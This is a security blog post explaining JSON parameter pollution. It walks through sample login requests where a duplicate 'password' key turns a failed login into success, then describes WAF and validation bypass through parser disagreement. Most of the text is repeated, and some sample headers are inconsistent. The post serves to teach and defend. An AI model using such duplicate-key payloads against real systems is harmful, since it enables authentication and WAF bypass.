HTTP parameter pollution attack is known to the industry for quite some time now. In HTTP parameter pollution attack, an attacker plays with order of HTTP parameters going to web/application server as part of querystring and/or POST parameter. Attacker tries to confuse HTTP parsers and leverages vulnerable code. Further details on HTTP parameter pollution (HPP) can be found at OWASP - https://www.owasp.org/index.php/Testing_for_HTTP_Parameter_pollution_(OTG-INPVAL-004)
HTTP parameter pollution vector can be extended to JSON streams as well. If application is consuming JSON stream and parsing based on their order then it is possible to manipulate order and reach to the vulnerable code. Let’s take this simple example.
Figure 1 - Possible Scenario of JSON Parameter Pollution
Here is the original HTTP request/response for the target application,
HTTP Request
POST /starter/login HTTP/1.1
Host: target
Connection: close
Content-Length: 57
Origin: chrome://newtab
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36
content-type: application/json
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
{"login":"john","password":"letmein"}
HTTP Response
HTTP/1.1 200 OK
Date: Tue, 03 Jul 2018 06:04:11 GMT
Content-Type: application/json
Content-Length: 20
Connection: close
Access-Control-Allow-Origin: *
{"status":"success"}
As you can see over here, we have passed right credentials and got “success”.
Let’s try wrong credentials and see what response we get,
HTTP Request
POST /starter/login HTTP/1.1
Host: target
Connection: close
Content-Length: 57
Origin: chrome://newtab
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36
content-type: application/json
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
{"login":"john","password":"junk"}
HTTP Response
HTTP/1.1 200 OK
Date: Tue, 03 Jul 2018 06:04:11 GMT
Content-Type: application/json
Content-Length: 20
Connection: close
Access-Control-Allow-Origin: *
{"status":"failure"}
So clearly we get “failure” over here. Now we can go ahead and add one more parameter to JSON stream like below and analyze the response.
HTTP Request
POST /starter/login HTTP/1.1
Host: target
Connection: close
Content-Length: 57
Origin: chrome://newtab
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36
content-type: application/json
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
{"login":"john","password":"junk",”password”:”letmein”}
HTTP Response
HTTP/1.1 200 OK
Date: Tue, 03 Jul 2018 06:04:11 GMT
Content-Type: application/json
Content-Length: 20
Connection: close
Access-Control-Allow-Origin: *
{"status":"success"}
Hence, as we passed JSON stream like this - {"login":"john","password":"junk",”password”:”letmein”} and end up getting “success”.
JSON parameter pollution conclusion:
In this case or many other cases, it is possible that underlying code is taking last parameter for JSON processing. It depends on library to library, how they are processing the streams. Hence, an attacker can send two parameters and possibly WAF would process first value and library would take second value. It leads to WAF value bypass. Attacker can pass real attack payload in the second parameter and genuine value in the first parameter so that WAF will allow the request and attacker can successfully execute injection on the application through JSON streams. Also, nowadays, applications are running in multi layers where logic is spread across multiple layers and each layer processes JSON data with their own JSON library. Hence, it is quite possible that one library considers first parameter value and second library considers second parameter value. In this situation, attacker can supply different values in both parameters and bypass application business logic validation through invalid values.
HTTP parameter pollution vector can be extended to JSON streams as well. If application is consuming JSON stream and parsing based on their order then it is possible to manipulate order and reach to the vulnerable code. Let’s take this simple example.
Figure 1 - Possible Scenario of JSON Parameter Pollution
Here is the original HTTP request/response for the target application,
HTTP Request
POST /starter/login HTTP/1.1
Host: target
Connection: close
Content-Length: 57
Origin: chrome://newtab
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36
content-type: application/json
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
{"login":"john","password":"letmein"}
HTTP Response
HTTP/1.1 200 OK
Date: Tue, 03 Jul 2018 06:04:11 GMT
Content-Type: application/json
Content-Length: 20
Connection: close
Access-Control-Allow-Origin: *
{"status":"success"}
As you can see over here, we have passed right credentials and got “success”.
Let’s try wrong credentials and see what response we get,
HTTP Request
POST /starter/login HTTP/1.1
Host: target
Connection: close
Content-Length: 57
Origin: chrome://newtab
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36
content-type: application/json
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
{"login":"john","password":"junk"}
HTTP Response
HTTP/1.1 200 OK
Date: Tue, 03 Jul 2018 06:04:11 GMT
Content-Type: application/json
Content-Length: 20
Connection: close
Access-Control-Allow-Origin: *
{"status":"failure"}
So clearly we get “failure” over here. Now we can go ahead and add one more parameter to JSON stream like below and analyze the response.
HTTP Request
POST /starter/login HTTP/1.1
Host: target
Connection: close
Content-Length: 57
Origin: chrome://newtab
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36
content-type: application/json
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
{"login":"john","password":"junk",”password”:”letmein”}
HTTP Response
HTTP/1.1 200 OK
Date: Tue, 03 Jul 2018 06:04:11 GMT
Content-Type: application/json
Content-Length: 20
Connection: close
Access-Control-Allow-Origin: *
{"status":"success"}
Hence, as we passed JSON stream like this - {"login":"john","password":"junk",”password”:”letmein”} and end up getting “success”.
JSON parameter pollution conclusion:
In this case or many other cases, it is possible that underlying code is taking last parameter for JSON processing. It depends on library to library, how they are processing the streams. Hence, an attacker can send two parameters and possibly WAF would process first value and library would take second value. It leads to WAF value bypass. Attacker can pass real attack payload in the second parameter and genuine value in the first parameter so that WAF will allow the request and attacker can successfully execute injection on the application through JSON streams. Also, nowadays, applications are running in multi layers where logic is spread across multiple layers and each layer processes JSON data with their own JSON library. Hence, it is quite possible that one library considers first parameter value and second library considers second parameter value. In this situation, attacker can supply different values in both parameters and bypass application business logic validation through invalid values.